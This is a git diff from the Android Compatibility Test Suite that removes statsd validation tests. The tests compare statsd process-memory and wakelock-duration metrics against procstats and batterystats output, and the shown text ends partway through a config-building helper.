- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-
-import android.cts.statsd.atom.ProcStateTestCase;
-import android.service.procstats.ProcessState;
-import android.service.procstats.AggregatedProcessState;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.ProcessStateAggregated;
-import com.android.os.AtomsProto.ProcessStatsPackageProto;
-import com.android.os.AtomsProto.ProcessStatsProto;
-import com.android.os.AtomsProto.ProcessStatsStateProto;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.ValueBucketInfo;
-import com.android.os.StatsLog.ValueMetricData;
-import com.android.tradefed.log.LogUtil;
-
-import java.util.List;
-
-/**
- * Side-by-side comparison between statsd and procstats.
- */
-public class ProcStatsValidationTests extends ProcStateTestCase {
-
- private static final String TAG = "Statsd.ProcStatsValidationTests";
-
- private static final int EXTRA_WAIT_TIME_MS = 1_000; // as buffer when proc state changing.
-
- public void testProcessStatePssValue() throws Exception {
- final String fileName = "PROCSTATSQ_PROCS_STATE_PSS_VALUE.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
- clearProcStats();
- toggleScreenAndSleep(WAIT_TIME_SHORT);
-
- // foreground service
- executeForegroundService();
- toggleScreenAndSleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
- // background
- executeBackgroundService(ACTION_BACKGROUND_SLEEP);
- toggleScreenAndSleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
- // top
- executeForegroundActivity(ACTION_LONG_SLEEP_WHILE_TOP);
- toggleScreenAndSleep(SLEEP_OF_ACTION_LONG_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
- // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
- executeBackgroundService(ACTION_END_IMMEDIATELY);
- final int cacheTime = 2_000; // process should be in cached state for up to this long
- toggleScreenAndSleep(cacheTime);
- // foreground
- // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
- executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
- toggleScreenAndSleep(EXTRA_WAIT_TIME_MS + 5_000);
-
- // Sorted list of events in order in which they occurred.
- List<ValueMetricData> statsdData = getValueMetricDataList();
-
- List<ProcessStatsProto> processStatsProtoList = getProcStatsProto();
-
- LogUtil.CLog.d("======================");
-
- String statsdPkgName = "com.android.server.cts.device.statsd";
- double valueInStatsd = 0;
- for (ValueMetricData d : statsdData) {
- List<DimensionsValue> dimensionsValuesInWhat = d.getDimensionLeafValuesInWhatList();
- if (dimensionsValuesInWhat.get(0).getValueStr().equals(statsdPkgName)
- && dimensionsValuesInWhat.get(1).getValueStr().equals(statsdPkgName)) {
- LogUtil.CLog.d(d.toString());
- for (ValueBucketInfo bucket : d.getBucketInfoList()) {
- valueInStatsd = Math.max(bucket.getValues(0).getValueLong(), valueInStatsd);
- }
- }
- }
-
- double valueInProcStats = 0;
- for (ProcessStatsProto p : processStatsProtoList) {
- if (p.getProcess().equals(statsdPkgName)) {
- LogUtil.CLog.d(p.toString());
- for (ProcessStatsStateProto s : p.getStatesList()) {
- valueInProcStats = Math.max(s.getPss().getMax(), valueInProcStats);
- }
- }
- }
- assertThat(valueInProcStats).isGreaterThan(0d);
- assertThat(valueInStatsd).isWithin(1e-10).of(valueInProcStats);
- }
-
- private void toggleScreenAndSleep(final long duration) throws Exception {
- final long half = duration >> 1;
- Thread.sleep(half);
- turnScreenOff();
- Thread.sleep(half);
- turnScreenOn();
- }
-
- public void testProcessStateByPulling() throws Exception {
- startProcStatsTesting();
- clearProcStats();
- Thread.sleep(WAIT_TIME_SHORT);
-
- // foreground service
- executeForegroundService();
- Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
- // background
- executeBackgroundService(ACTION_BACKGROUND_SLEEP);
- Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
- // top
- executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
- Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
- // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
- executeBackgroundService(ACTION_END_IMMEDIATELY);
- final int cacheTime = 2_000; // process should be in cached state for up to this long
- Thread.sleep(cacheTime);
- // foreground
- // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
- executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
- Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
- Thread.sleep(60_000);
- uninstallPackage();
- stopProcStatsTesting();
- commitProcStatsToDisk();
- Thread.sleep(WAIT_TIME_SHORT);
-
- final String fileName = "PROCSTATSQ_PULL.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
- Thread.sleep(WAIT_TIME_SHORT);
- setAppBreadcrumbPredicate();
- Thread.sleep(WAIT_TIME_SHORT + 5_000);
-
- List<Atom> statsdData = getGaugeMetricDataList();
-
- List<android.service.procstats.ProcessStatsProto> processStatsProtoList
- = getAllProcStatsProtoForStatsd();
-
- // We pull directly from ProcessStatsService, so not necessary to compare every field.
- // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
- LogUtil.CLog.d("======================");
-
- String statsdPkgName = "com.android.server.cts.device.statsd";
- long rssAvgStatsd = 0;
- for (Atom d : statsdData) {
- for (ProcessStatsProto proc : d.getProcStats().getProcStatsSection().getProcessStatsList()) {
- if (proc.getProcess().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from statsd:");
- LogUtil.CLog.d(proc.toString());
- for (ProcessStatsStateProto state : proc.getStatesList()) {
- if (state.getProcessStateAggregated()
- == ProcessStateAggregated.PROCESS_STATE_IMPORTANT_FOREGROUND) {
- rssAvgStatsd = state.getRss().getMeanKb();
- }
- }
- }
- }
- }
-
- long rssAvgProcstats = 0;
- for (android.service.procstats.ProcessStatsProto process: processStatsProtoList) {
- if (process.getProcess().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from procstats dumpsys:");
- LogUtil.CLog.d(process.toString());
- for (android.service.procstats.ProcessStatsStateProto state
- : process.getStatesList()) {
- if (AggregatedProcessState.AGGREGATED_PROCESS_STATE_IMPORTANT_FOREGROUND
- == state.getProcessStateAggregated()) {
- rssAvgProcstats = state.getRss().getMeanKb();
- break;
- }
- }
- }
- }
-
- assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
- }
-
- public void testProcStatsPkgProcStats() throws Exception {
- /**
- * Temporarily disable this test as the proc stats data being pulled into the statsd
- * doesn't include the pkg part now.
- *
- startProcStatsTesting();
- clearProcStats();
- Thread.sleep(WAIT_TIME_SHORT);
-
- // foreground service
- executeForegroundService();
- Thread.sleep(SLEEP_OF_FOREGROUND_SERVICE + EXTRA_WAIT_TIME_MS);
- // background
- executeBackgroundService(ACTION_BACKGROUND_SLEEP);
- Thread.sleep(SLEEP_OF_ACTION_BACKGROUND_SLEEP + EXTRA_WAIT_TIME_MS);
- // top
- executeForegroundActivity(ACTION_SLEEP_WHILE_TOP);
- Thread.sleep(SLEEP_OF_ACTION_SLEEP_WHILE_TOP + EXTRA_WAIT_TIME_MS);
- // Start extremely short-lived activity, so app goes into cache state (#1 - #3 above).
- executeBackgroundService(ACTION_END_IMMEDIATELY);
- final int cacheTime = 2_000; // process should be in cached state for up to this long
- Thread.sleep(cacheTime);
- // foreground
- // overlay should take 2 sec to appear. So this makes it 4 sec in TOP
- executeForegroundActivity(ACTION_SHOW_APPLICATION_OVERLAY);
- Thread.sleep(EXTRA_WAIT_TIME_MS + 5_000);
-
- Thread.sleep(60_000);
- uninstallPackage();
- stopProcStatsTesting();
- commitProcStatsToDisk();
- Thread.sleep(WAIT_TIME_SHORT);
-
- final String fileName = "PROCSTATSQ_PULL_PKG_PROC.pbtxt";
- StatsdConfig config = createValidationUtil().getConfig(fileName);
- LogUtil.CLog.d("Updating the following config:\n" + config.toString());
- uploadConfig(config);
- Thread.sleep(WAIT_TIME_SHORT);
- setAppBreadcrumbPredicate();
- Thread.sleep(WAIT_TIME_SHORT);
-
- List<Atom> statsdData = getGaugeMetricDataList();
- assertThat(statsdData).isNotEmpty();
- assertThat(
- statsdData.get(0).getProcStatsPkgProc().getProcStatsSection()
- .getProcessStatsList()
- ).isNotEmpty();
-
- // We pull directly from ProcessStatsService, so not necessary to compare every field.
- // Make sure that 1. both capture statsd package 2. spot check some values are reasonable
- LogUtil.CLog.d("======================");
-
- String statsdPkgName = "com.android.server.cts.device.statsd";
- long rssAvgStatsd = 0;
- long durationStatsd = 0;
- for (Atom d : statsdData) {
- for (ProcessStatsPackageProto pkg : d.getProcStatsPkgProc().getProcStatsSection().getPackageStatsList()) {
- if (pkg.getPackage().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from statsd:");
- LogUtil.CLog.d(pkg.toString());
- for (ProcessStatsProto process : pkg.getProcessStatsList()) {
- for (ProcessStatsStateProto state : process.getStatesList()) {
- if (state.getProcessState()
- == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
- durationStatsd = state.getDurationMillis();
- rssAvgStatsd = state.getRss().getAverage();
- }
- }
- }
- }
- assertThat(pkg.getServiceStatsCount()).isEqualTo(0L);
- assertThat(pkg.getAssociationStatsCount()).isEqualTo(0L);
- }
- }
-
- LogUtil.CLog.d("avg rss from statsd is " + rssAvgStatsd);
-
- List<ProcessStatsPackageProto> processStatsPackageProtoList = getAllProcStatsProto();
-
- long pssAvgProcstats = 0;
- long ussAvgProcstats = 0;
- long rssAvgProcstats = 0;
- long durationProcstats = 0;
- int serviceStatsCount = 0;
- int associationStatsCount = 0;
- for (ProcessStatsPackageProto pkg : processStatsPackageProtoList) {
- if (pkg.getPackage().equals(statsdPkgName)) {
- LogUtil.CLog.d("Got proto from procstats dumpsys:");
- LogUtil.CLog.d(pkg.toString());
- for (ProcessStatsProto process : pkg.getProcessStatsList()) {
- for (ProcessStatsStateProto state : process.getStatesList()) {
- if (state.getProcessState()
- == ProcessState.PROCESS_STATE_IMPORTANT_FOREGROUND) {
- durationProcstats = state.getDurationMillis();
- pssAvgProcstats = state.getPss().getAverage();
- ussAvgProcstats = state.getUss().getAverage();
- rssAvgProcstats = state.getRss().getAverage();
- }
- }
- }
- }
- serviceStatsCount += pkg.getServiceStatsCount();
- associationStatsCount += pkg.getAssociationStatsCount();
- }
- assertThat(serviceStatsCount).isGreaterThan(0);
- assertThat(associationStatsCount).isGreaterThan(0);
-
- LogUtil.CLog.d("avg pss from procstats is " + pssAvgProcstats);
- assertThat(rssAvgStatsd).isEqualTo(rssAvgProcstats);
- */
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
deleted file mode 100644
index d3e5bad..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTestUtil.java
+++ /dev/null
@@ -1,50 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import android.cts.statsd.atom.BaseTestCase;
-
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.log.LogUtil.CLog;
-import com.android.tradefed.util.FileUtil;
-
-import com.google.protobuf.TextFormat;
-import com.google.protobuf.TextFormat.ParseException;
-
-import java.io.File;
-import java.io.IOException;
-
-public class ValidationTestUtil extends BaseTestCase {
-
- private static final String TAG = "Statsd.ValidationTestUtil";
-
- public StatsdConfig getConfig(String fileName) throws IOException {
- try {
- // TODO: Ideally, we should use real metrics that are also pushed to the fleet.
- File configFile = getBuildHelper().getTestFile(fileName);
- String configStr = FileUtil.readStringFromFile(configFile);
- StatsdConfig.Builder builder = StatsdConfig.newBuilder();
- TextFormat.merge(configStr, builder);
- return builder.build();
- } catch (ParseException e) {
- LogUtil.CLog.e(
- "Failed to parse the config! line: " + e.getLine() + " col: " + e.getColumn(),
- e);
- }
- return null;
- }
-}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java b/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
deleted file mode 100644
index 3e2de0a..0000000
--- a/hostsidetests/statsd/src/android/cts/statsd/validation/ValidationTests.java
+++ /dev/null
@@ -1,675 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package android.cts.statsd.validation;
-
-import static com.google.common.truth.Truth.assertThat;
-import static com.google.common.truth.Truth.assertWithMessage;
-
-import android.cts.statsd.atom.DeviceAtomTestCase;
-import android.os.BatteryPluggedStateEnum;
-import android.os.BatteryStatsProto;
-import android.os.UidProto;
-import android.os.UidProto.Wakelock;
-import android.os.WakeLockLevelEnum;
-import android.platform.test.annotations.RestrictedBuildTest;
-import android.view.DisplayStateEnum;
-
-import com.android.internal.os.StatsdConfigProto.AtomMatcher;
-import com.android.internal.os.StatsdConfigProto.DurationMetric;
-import com.android.internal.os.StatsdConfigProto.FieldMatcher;
-import com.android.internal.os.StatsdConfigProto.FieldValueMatcher;
-import com.android.internal.os.StatsdConfigProto.LogicalOperation;
-import com.android.internal.os.StatsdConfigProto.Position;
-import com.android.internal.os.StatsdConfigProto.Predicate;
-import com.android.internal.os.StatsdConfigProto.SimpleAtomMatcher;
-import com.android.internal.os.StatsdConfigProto.SimplePredicate;
-import com.android.internal.os.StatsdConfigProto.StatsdConfig;
-import com.android.internal.os.StatsdConfigProto.TimeUnit;
-import com.android.os.AtomsProto.Atom;
-import com.android.os.AtomsProto.PluggedStateChanged;
-import com.android.os.AtomsProto.ScreenStateChanged;
-import com.android.os.AtomsProto.WakelockStateChanged;
-import com.android.os.StatsLog.DimensionsValue;
-import com.android.os.StatsLog.DurationBucketInfo;
-import com.android.os.StatsLog.DurationMetricData;
-import com.android.os.StatsLog.EventMetricData;
-import com.android.os.StatsLog.StatsLogReport;
-import com.android.tradefed.log.LogUtil.CLog;
-
-import com.google.common.collect.Range;
-
-import java.util.Arrays;
-import java.util.HashMap;
-import java.util.HashSet;
-import java.util.List;
-import java.util.Set;
-
-/**
- * Side-by-side comparison between statsd and batterystats.
- */
-public class ValidationTests extends DeviceAtomTestCase {
-
- private static final String TAG = "Statsd.ValidationTests";
- private static final String FEATURE_AUTOMOTIVE = "android.hardware.type.automotive";
- private static final boolean ENABLE_LOAD_TEST = false;
-
- @Override
- protected void setUp() throws Exception {
- super.setUp();
- }
-
- @Override
- protected void tearDown() throws Exception {
- resetBatteryStatus(); // Undo any unplugDevice().
- turnScreenOn(); // Reset screen to on state
- super.tearDown();
- }
-
- public void testPartialWakelock() throws Exception {
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
- resetBatteryStats();
- unplugDevice();
- // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
- // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
- String aodState = getAodState();
- setAodState("0");
- turnScreenOff();
-
- final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
- Set<Integer> wakelockOn = new HashSet<>(Arrays.asList(
- WakelockStateChanged.State.ACQUIRE_VALUE,
- WakelockStateChanged.State.CHANGE_ACQUIRE_VALUE));
- Set<Integer> wakelockOff = new HashSet<>(Arrays.asList(
- WakelockStateChanged.State.RELEASE_VALUE,
- WakelockStateChanged.State.CHANGE_RELEASE_VALUE));
-
- final String EXPECTED_TAG = "StatsdPartialWakelock";
- final WakeLockLevelEnum EXPECTED_LEVEL = WakeLockLevelEnum.PARTIAL_WAKE_LOCK;
-
- // Add state sets to the list in order.
- List<Set<Integer>> stateSet = Arrays.asList(wakelockOn, wakelockOff);
-
- createAndUploadConfig(atomTag, true); // True: uses attribution.
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
-
- // Sorted list of events in order in which they occurred.
- List<EventMetricData> data = getEventMetricDataList();
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
-
- //=================== verify that statsd is correct ===============//
- // Assert that the events happened in the expected order.
- assertStatesOccurred(stateSet, data, WAIT_TIME_SHORT,
- atom -> atom.getWakelockStateChanged().getState().getNumber());
-
- for (EventMetricData event : data) {
- String tag = event.getAtom().getWakelockStateChanged().getTag();
- WakeLockLevelEnum type = event.getAtom().getWakelockStateChanged().getType();
- assertThat(tag).isEqualTo(EXPECTED_TAG);
- assertThat(type).isEqualTo(EXPECTED_LEVEL);
- }
-
- //=================== verify that batterystats is correct ===============//
- int uid = getUid();
- android.os.TimerProto wl =
- getBatteryStatsPartialWakelock(batterystatsProto, uid, EXPECTED_TAG);
-
- assertThat(wl).isNotNull();
- assertThat(wl.getDurationMs()).isGreaterThan(0L);
- assertThat(wl.getMaxDurationMs()).isIn(Range.closedOpen(400L, 700L));
- assertThat(wl.getTotalDurationMs()).isIn(Range.closedOpen(400L, 700L));
-
- setAodState(aodState); // restores AOD to initial state.
- }
-
- @RestrictedBuildTest
- public void testPartialWakelockDuration() throws Exception {
- if (!hasFeature(FEATURE_AUTOMOTIVE, false)) return;
-
- // getUid() needs shell command via ADB. turnScreenOff() sometimes let system go to suspend.
- // ADB disconnection causes failure of getUid(). Move up here before turnScreenOff().
- final int EXPECTED_UID = getUid();
-
- turnScreenOn(); // To ensure that the ScreenOff later gets logged.
- // AoD needs to be turned off because the screen should go into an off state. But, if AoD is
- // on and the device doesn't support STATE_DOZE, the screen sadly goes back to STATE_ON.
- String aodState = getAodState();
- setAodState("0");
- uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
- Thread.sleep(WAIT_TIME_SHORT);
- resetBatteryStats();
- unplugDevice();
- turnScreenOff();
-
- Thread.sleep(WAIT_TIME_SHORT);
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockState");
- Thread.sleep(WAIT_TIME_LONG); // Make sure the one second bucket has ended.
-
-
- final String EXPECTED_TAG = "StatsdPartialWakelock";
- final long EXPECTED_TAG_HASH = Long.parseUnsignedLong("15814523794762874414");
- final int MIN_DURATION = 350;
- final int MAX_DURATION = 700;
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
- // Get the batterystats wakelock time and make sure it's reasonable.
- android.os.TimerProto bsWakelock =
- getBatteryStatsPartialWakelock(batterystatsProto, EXPECTED_UID, EXPECTED_TAG);
- assertWithMessage(
- "No partial wakelocks with uid %s and tag %s in BatteryStats",
- EXPECTED_UID, EXPECTED_TAG
- ).that(bsWakelock).isNotNull();
- long bsDurationMs = bsWakelock.getTotalDurationMs();
- assertWithMessage(
- "Wakelock in batterystats with uid %s and tag %s was too short or too long",
- EXPECTED_UID, EXPECTED_TAG
- ).that(bsDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
- // Get the statsd wakelock time and make sure it's reasonable.
- assertWithMessage("No wakelocks with uid %s in statsd", EXPECTED_UID)
- .that(statsdWakelockData).containsKey(EXPECTED_UID);
- assertWithMessage("No wakelocks with tag %s in statsd", EXPECTED_TAG)
- .that(statsdWakelockData.get(EXPECTED_UID)).containsKey(EXPECTED_TAG_HASH);
- long statsdDurationMs = statsdWakelockData.get(EXPECTED_UID)
- .get(EXPECTED_TAG_HASH) / 1_000_000;
- assertWithMessage(
- "Wakelock in statsd with uid %s and tag %s was too short or too long",
- EXPECTED_UID, EXPECTED_TAG
- ).that(statsdDurationMs).isIn(Range.closed((long) MIN_DURATION, (long) MAX_DURATION));
-
- // Compare batterystats with statsd.
- long difference = Math.abs(statsdDurationMs - bsDurationMs);
- assertWithMessage(
- "For uid=%s tag=%s had BatteryStats=%s ms but statsd=%s ms",
- EXPECTED_UID, EXPECTED_TAG, bsDurationMs, statsdDurationMs
- ).that(difference).isAtMost(Math.max(bsDurationMs / 10, 10L));
-
- setAodState(aodState); // restores AOD to initial state.
- }
-
- public void testPartialWakelockLoad() throws Exception {
- if (!ENABLE_LOAD_TEST) return;
- turnScreenOn(); // To ensure that the ScreenOff later gets logged.
- uploadWakelockDurationBatteryStatsConfig(TimeUnit.CTS);
- Thread.sleep(WAIT_TIME_SHORT);
- resetBatteryStats();
- unplugDevice();
- turnScreenOff();
-
- runDeviceTests(DEVICE_SIDE_TEST_PACKAGE, ".AtomTests", "testWakelockLoad");
- // Give time for stuck wakelocks to increase duration.
- Thread.sleep(10_000);
-
-
- final String EXPECTED_TAG = "StatsdPartialWakelock";
- final int EXPECTED_UID = getUid();
- final int NUM_THREADS = 16;
- final int NUM_COUNT_PER_THREAD = 1000;
- final int MAX_DURATION_MS = 15_000;
- final int MIN_DURATION_MS = 1_000;
-
-
- BatteryStatsProto batterystatsProto = getBatteryStatsProto();
- HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = getStatsdWakelockData();
-
- // TODO: this fails because we only have the hashes of the wakelock tags in statsd.
- // If we want to run this test, we need to fix this.
-
- // Verify batterystats output is reasonable.
- // boolean foundUid = false;
- // for (UidProto uidProto : batterystatsProto.getUidsList()) {
- // if (uidProto.getUid() == EXPECTED_UID) {
- // foundUid = true;
- // CLog.d("Battery stats has the following wakelocks: \n" +
- // uidProto.getWakelocksList());
- // assertTrue("UidProto has size " + uidProto.getWakelocksList().size() +
- // " wakelocks in it. Expected " + NUM_THREADS + " wakelocks.",
- // uidProto.getWakelocksList().size() == NUM_THREADS);
- //
- // for (Wakelock wl : uidProto.getWakelocksList()) {
- // String tag = wl.getName();
- // assertTrue("Wakelock tag in batterystats " + tag + " does not contain "
- // + "expected tag " + EXPECTED_TAG, tag.contains(EXPECTED_TAG));
- // assertTrue("Wakelock in batterystats with tag " + tag + " does not have any "
- // + "partial wakelock data.", wl.hasPartial());
- // assertTrue("Wakelock in batterystats with tag " + tag + " tag has count " +
- // wl.getPartial().getCount() + " Expected " + NUM_COUNT_PER_THREAD,
- // wl.getPartial().getCount() == NUM_COUNT_PER_THREAD);
- // long bsDurationMs = wl.getPartial().getTotalDurationMs();
- // assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
- // + EXPECTED_TAG + "was too short. Expected " + MIN_DURATION_MS +
- // ", received " + bsDurationMs, bsDurationMs >= MIN_DURATION_MS);
- // assertTrue("Wakelock in batterystats with uid " + EXPECTED_UID + " and tag "
- // + EXPECTED_TAG + "was too long. Expected " + MAX_DURATION_MS +
- // ", received " + bsDurationMs, bsDurationMs <= MAX_DURATION_MS);
- //
- // // Validate statsd.
- // long statsdDurationNs = statsdWakelockData.get(EXPECTED_UID).get(tag);
- // long statsdDurationMs = statsdDurationNs / 1_000_000;
- // long difference = Math.abs(statsdDurationMs - bsDurationMs);
- // assertTrue("Unusually large difference in wakelock duration for tag: " +
- // tag +
- // ". Statsd had duration " + statsdDurationMs +
- // " and batterystats had duration " + bsDurationMs,
- // difference <= bsDurationMs / 10);
- //
- // }
- // }
- // }
- // assertTrue("Did not find uid " + EXPECTED_UID + " in batterystats.", foundUid);
- //
- // // Assert that the wakelock appears in statsd and is correct.
- // assertTrue("Could not find any wakelocks with uid " + EXPECTED_UID + " in statsd",
- // statsdWakelockData.containsKey(EXPECTED_UID));
- // HashMap<String, Long> expectedWakelocks = statsdWakelockData.get(EXPECTED_UID);
- // assertEquals("Expected " + NUM_THREADS + " wakelocks in statsd with UID " +
- // EXPECTED_UID +
- // ". Received " + expectedWakelocks.size(), expectedWakelocks.size(), NUM_THREADS);
- }
-
- // Helper functions
- // TODO: Refactor these into some utils class.
-
- public HashMap<Integer, HashMap<Long, Long>> getStatsdWakelockData() throws Exception {
- StatsLogReport report = getStatsLogReport();
- CLog.d("Received the following stats log report: \n" + report.toString());
-
- // Stores total duration of each wakelock across buckets.
- HashMap<Integer, HashMap<Long, Long>> statsdWakelockData = new HashMap<>();
-
- for (DurationMetricData data : report.getDurationMetrics().getDataList()) {
- // Gets tag and uid.
- List<DimensionsValue> dims = data.getDimensionLeafValuesInWhatList();
- assertThat(dims).hasSize(2);
- boolean hasTag = false;
- long tag = 0;
- int uid = -1;
- long duration = 0;
- for (DimensionsValue dim : dims) {
- if (dim.hasValueInt()) {
- uid = dim.getValueInt();
- } else if (dim.hasValueStrHash()) {
- hasTag = true;
- tag = dim.getValueStrHash();
- }
- }
- assertWithMessage("Did not receive a tag for the wakelock").that(hasTag).isTrue();
- assertWithMessage("Did not receive a uid for the wakelock").that(uid).isNotEqualTo(-1);
-
- // Gets duration.
- for (DurationBucketInfo bucketInfo : data.getBucketInfoList()) {
- duration += bucketInfo.getDurationNanos();
- }
-
- // Store the info.
- if (statsdWakelockData.containsKey(uid)) {
- HashMap<Long, Long> tagToDuration = statsdWakelockData.get(uid);
- tagToDuration.put(tag, duration);
- } else {
- HashMap<Long, Long> tagToDuration = new HashMap<>();
- tagToDuration.put(tag, duration);
- statsdWakelockData.put(uid, tagToDuration);
- }
- }
- CLog.d("follow: statsdwakelockdata is: " + statsdWakelockData);
- return statsdWakelockData;
- }
-
- private android.os.TimerProto getBatteryStatsPartialWakelock(BatteryStatsProto proto,
- long uid, String tag) {
- if (proto.getUidsList().size() < 1) {
- CLog.w("Batterystats proto contains no uids");
- return null;
- }
- boolean hadUid = false;
- for (UidProto uidProto : proto.getUidsList()) {
- if (uidProto.getUid() == uid) {
- hadUid = true;
- for (Wakelock wl : uidProto.getWakelocksList()) {
- if (tag.equals(wl.getName())) {
- if (wl.hasPartial()) {
- return wl.getPartial();
- }
- CLog.w("Batterystats had wakelock for uid (" + uid + ") "
- + "with tag (" + tag + ") "
- + "but it didn't have a partial wakelock");
- }
- }
- CLog.w("Batterystats didn't have a partial wakelock for uid " + uid
- + " with tag " + tag);
- }
- }
- if (!hadUid) CLog.w("Batterystats didn't have uid " + uid);
- return null;
- }
-
- public void uploadWakelockDurationBatteryStatsConfig(TimeUnit bucketsize) throws Exception {
- final int atomTag = Atom.WAKELOCK_STATE_CHANGED_FIELD_NUMBER;
- String metricName = "DURATION_PARTIAL_WAKELOCK_PER_TAG_UID_WHILE_SCREEN_OFF_ON_BATTERY";
- int metricId = metricName.hashCode();
-
- String partialWakelockIsOnName = "PARTIAL_WAKELOCK_IS_ON";
- int partialWakelockIsOnId = partialWakelockIsOnName.hashCode();
-
- String partialWakelockOnName = "PARTIAL_WAKELOCK_ON";
- int partialWakelockOnId = partialWakelockOnName.hashCode();
- String partialWakelockOffName = "PARTIAL_WAKELOCK_OFF";
- int partialWakelockOffId = partialWakelockOffName.hashCode();
-
- String partialWakelockAcquireName = "PARTIAL_WAKELOCK_ACQUIRE";
- int partialWakelockAcquireId = partialWakelockAcquireName.hashCode();
- String partialWakelockChangeAcquireName = "PARTIAL_WAKELOCK_CHANGE_ACQUIRE";
- int partialWakelockChangeAcquireId = partialWakelockChangeAcquireName.hashCode();
-
- String partialWakelockReleaseName = "PARTIAL_WAKELOCK_RELEASE";
- int partialWakelockReleaseId = partialWakelockReleaseName.hashCode();
- String partialWakelockChangeReleaseName = "PARTIAL_WAKELOCK_CHANGE_RELEASE";
- int partialWakelockChangeReleaseId = partialWakelockChangeReleaseName.hashCode();
-
-
- String screenOffBatteryOnName = "SCREEN_IS_OFF_ON_BATTERY";
- int screenOffBatteryOnId = screenOffBatteryOnName.hashCode();
-
- String screenStateUnknownName = "SCREEN_STATE_UNKNOWN";
- int screenStateUnknownId = screenStateUnknownName.hashCode();
- String screenStateOffName = "SCREEN_STATE_OFF";
- int screenStateOffId = screenStateOffName.hashCode();
- String screenStateOnName = "SCREEN_STATE_ON";
- int screenStateOnId = screenStateOnName.hashCode();
- String screenStateDozeName = "SCREEN_STATE_DOZE";
- int screenStateDozeId = screenStateDozeName.hashCode();
- String screenStateDozeSuspendName = "SCREEN_STATE_DOZE_SUSPEND";
- int screenStateDozeSuspendId = screenStateDozeSuspendName.hashCode();
- String screenStateVrName = "SCREEN_STATE_VR";
- int screenStateVrId = screenStateVrName.hashCode();
- String screenStateOnSuspendName = "SCREEN_STATE_ON_SUSPEND";
- int screenStateOnSuspendId = screenStateOnSuspendName.hashCode();
-
- String screenTurnedOnName = "SCREEN_TURNED_ON";
